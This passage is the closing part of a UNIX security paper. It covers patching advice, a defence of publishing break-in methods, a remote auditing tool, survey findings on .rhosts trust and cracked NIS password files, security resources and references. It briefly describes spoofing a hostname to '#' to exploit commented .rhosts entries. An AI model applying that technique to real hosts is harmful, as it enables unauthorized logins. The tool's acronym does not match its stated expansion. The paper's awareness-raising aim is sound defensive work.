    read the usenet security newsgroups to get the latest information on
    security problems.  Ignorance is the deadliest security problem we are
    aware of.

    o  Install all vendor security patches as soon as possible, on all of
    your hosts.  Examine security patch information for other vendors - many
    bugs (rdist, sendmail) are common to many UNIX variants.

    It is interesting to note that common solutions to security problems
    such as running Kerberos or using one-time passwords or digital tokens
    are ineffective against most of the attacks we discuss here.  We
    heartily recommend the use of such systems, but be aware that they are
    _not_ a total security solution -- they are part of a larger struggle to
    defend your system.

    Conclusions
    -----------

    Perhaps none of the methods shown here are surprising; when writing this
    paper, we didn't learn very much about how to break into systems.  What
    we _did_ learn was, while testing these methods out on our own systems
    and that of friendly sites, just how effective this set of methods is
    for gaining access to a typical (UNIX) Internet host.  Tiring of trying
    to type these in all by hand, and desiring to keep our own systems more
    secure, we decided to implement a security tool (SARA) that attempts to
    check remote hosts for at least some of the problems discussed here.
    The typical response, when telling people about our paper and our tool
    was something on the order of "that sounds pretty dangerous -- I hope
    you're not going to give it out to everybody.  But you since you can
    trust me, may I have a copy of it?"

    We never set out to create a cookbook or toolkit of methods and programs
    on how to break into systems -- instead, we saw that these same methods
    were being used, every day, against ourselves and against friendly
    system administrators.  We believe that by propagating information that
    normally wasn't available to those outside of the underworld, we can
    increase security by raising awareness.  Trying to restrict access to
    "dangerous" security information has never seemed to be a very effective
    method for increasing security; indeed, the opposite appears to be the
    case, since the system crackers have shown little reticence to share
    their information with each other.

    While it is almost certain that some of the information presented here
    is new material to (aspiring) system crackers, and that some will use it
    to gain unauthorized entrance onto hosts, the evidence presented even by
    our ad hoc tests shows that there is a much larger number of insecure
    sites, simply because the system administrators don't know any better --
    they aren't stupid or slow, they simply are unable to spend the very
    little free time that they have to explore all of the security issues
    that pertain to their systems.  Combine that with no easy access to this
    sort of information and you have poorly defended systems.  We (modestly)
    hope that this paper will provide badly-needed data on how systems are
    broken into, and further, to explain _why_ certain steps should be taken
    to secure a system.  Knowing why something is a problem is, in our
    opinion, the real key to learning and to making an informed, intelligent
    choice as to what security really means for your site.

    ----

    Appendix A:

    SARA (Security Analysis Tool for Auditing Networks)

    Originally conceived some years ago, SARA is actually the prototype of
    a much larger and more comprehensive vision of a security tool.  In its
    current incarnation, SARA remotely probes and reports various bugs and
    weaknesses in network services and windowing systems, as well as
    detailing as much generally useful information as possible about the
    target(s).  It then processes the data with a crude filter and what
    might be termed an expert system to generate the final security
    analysis.  While not particularly fast, it is extremely modular and easy
    to modify.

    SARA consists of several sub-programs, each of which is an executable
    file (perl, shell, compiled C binary, whatever) that tests a host for a
    given potential weakness.  Adding further test programs is as simple as
    putting an executable into the main directory with the extension ".sara";
    the driver program will automatically execute it.  The driver generates
    a set of targets (using DNS and a fast version of ping together to get
    "live" targets), and then executes each of the programs over each of the
    targets.  A data filtering/interpreting program then analyzes the
    output, and lastly a reporting program digests everything into a more
    readable format.

    The entire package, including source code and documentation, has been
    made freely available to the public, via anonymous ftp and by posting it
    to one of the numerous source code groups on the Usenet.

    ----

    Appendix B:

    An informal survey conducted on about a dozen Internet sites
    (educational, military, and commercial, with over 200 hosts and 40000
    accounts) revealed that on the average, close to 10 percent of a site's
    accounts had .rhosts files.  These files averaged six trusted hosts
    each; however, it was not uncommon to have well over one hundred entries
    in an account's .rhosts file, and on a few occasions, the number was
    over five hundred!  (This is not a record one should be proud of
    owning.)  In addition, _every_ site directly on the internet (one site
    was mostly behind a firewall) trusted a user or host at another site --
    thus, the security of the site was not under the system administrators
    direct control.  The larger sites, with more users and hosts, had a
    lower percentage of users with .rhosts files, but the size of .rhosts
    files increased, as well as the number of trusted off-site hosts.

    Although it was very difficult to verify how many of the entries were
    valid, with such hostnames such as "Makefile", "Message-Id:", and
    "^Cs^A^C^M^Ci^C^MpNu^L^Z^O", as well as quite a few wildcard entries, we
    question the wisdom of putting a site's security in the hands of its
    users.  Many users (especially the ones with larger .rhosts files)
    attempted to put shell-style comments in their .rhosts files, which most
    UNIX systems attempt to resolve as valid host names.  Unfortunately, an
    attacker can then use the DNS and NIS hostname spoofing techniques
    discussed earlier to set their hostname to "#" and freely log in.  This
    puts a great many sites at risk (at least one major vendor ships their
    systems with comments in their /etc/hosts.equiv files.)

    You might think that these sites were not typical, and, as a matter of
    fact, they weren't.  Virtually all of the administrators knew a great
    deal about security and write security programs for a hobby or
    profession, and many of the sites that they worked for did either
    security research or created security products.  We can only guess at
    what a "typical" site might look like.

    ----

    Appendix C:

    After receiving mail from a site that had been broken into from one of
    our systems, an investigation was started.  In time, we found that the
    intruder was working from a list of ".com" (commercial) sites, looking
    for hosts with easy-to steal password files.  In this case,
    "easy-to-steal" referred to sites with a guessable NIS domainname and an
    accessible NIS server.  Not knowing how far the intruder had gotten, it
    looked like a good idea to warn the sites that were in fact vulnerable
    to password file theft.  Of the 656 hosts in the intruder's hit list, 24
    had easy-to-steal password files -- about one in twenty-five hosts!  One
    third of these files contained at least one password-less account with
    an interactive shell.  With a grand total of 1594 password-file entries,
    a ten-minute run of a publically-available password cracker (Crack)
    revealed more than 50 passwords, using nothing but a low-end Sun
    workstation.  Another 40 passwords were found within the next 20
    minutes; and a root password was found in just over an hour. The result
    after a few days of cracking: five root passwords found, 19 out of 24
    password files (eighty percent) with at least one known password, and
    259 of 1594 (one in six) passwords guessed.

    ----

    Appendix D:

    How to get some free security resources on the Internet

    Mailing lists:

    o  The CERT (Computer Emergency Response Team) advisory mailing list.
    Send e-mail to cert@cert.org, and ask to be placed on their mailing
    list.

    o  The Phrack newsletter.  Send an e-mail message to
    phrack@well.sf.ca.us and ask to be added to the list.

    o  The Firewalls mailing list.  Send the following line to
    majordomo@greatcircle.com:

        subscribe firewalls

    o  Computer Underground Digest.  Send e-mail to
    tk0jut2@mvs.cso.niu.edu, asking to be placed on the list.

    Free Software:

    COPS (Computer Oracle and Password System) is available via anonymous
    ftp from archive.cis.ohio-state.edu, in pub/cops/1.04+.

    The tcp wrappers are available via anonymous ftp from ftp.win.tue.nl,
    in pub/security.

    Crack is available from ftp.uu.net, in /usenet/comp.sources.misc/volume28.

    TAMU is a UNIX auditing tool that is part of a larger suite of excellent
    tools put out by a group at the Texas A&M University.  They can be
    gotten via anonymous ftp at net.tamu.edu, in pub/security/TAMU.

    Sources for ftpd and many other network utilities can be found in
    ftp.uu.net, in packages/bsd-sources.

    Source for ISS (Internet Security Scanner), a tool that remotely scans
    for various network vulnerabilities, is available via anonymous ftp from
    ftp.uu.net, in usenet/comp.sources.misc/volume40/iss.

    Securelib is available via anonymous ftp from ftp.uu.net, in
    usenet/comp.sources.misc/volume36/securelib.

    The latest version of berkeley sendmail is available via anonymous ftp
    from ftp.cs.berkeley.edu, in ucb/sendmail.

    Tripwire, a UNIX filesystem integrity checker+, is available via anonymous
    ftp at ftp.cs.purdue.edu, in pub/spaf/COAST/Tripwire.

    ----

    Bibliography:

    Baldwin, Robert W., Rule Based Analysis of Computer Security,
    Massachusetts Institute of Technology, June 1987.

    Bellovin, Steve, Using the Domain Name System for System Break-ins,
    1992 (unpublished).

    Massachusetts Institute of Technology, X Window System Protocol,
    Version 11, 1990.

    Shimomura, Tsutomu, private communication.

    Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992.

    ----

    Suggested reading:

    Bellovin, Steve -- "Security Problms in the TCP/IP Protocol Suite",
    Computer Communication Review 19 (2), 1989; a comment by Stephen
    Kent appears in volume 19 (3), 1989.

    Garfinkel, Simson and Spafford, Gene, "Practical UNIX Security",
    O'Reilly and Associates, Inc., 1992.

    Hess, David, Safford, David, and Pooch, Udo, "A UNIX Network Protocol
    Study: Network Information Service", Computer Communication Review
    22 (5) 1992.

    Phreak Accident, Playing Hide and Seek, UNIX style, Phrack, Volume
    Four, Issue Forty-Three, File 14 of 27.

    Ranum, Marcus, "Firewalls" internet electronic mailing list, Sept
    1993.

    Schuba, Christoph, "Addressing Weaknesses in the Domain Name System
    Protocal", Purdue University, August 1993.

    Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM
    27 (8), 1984.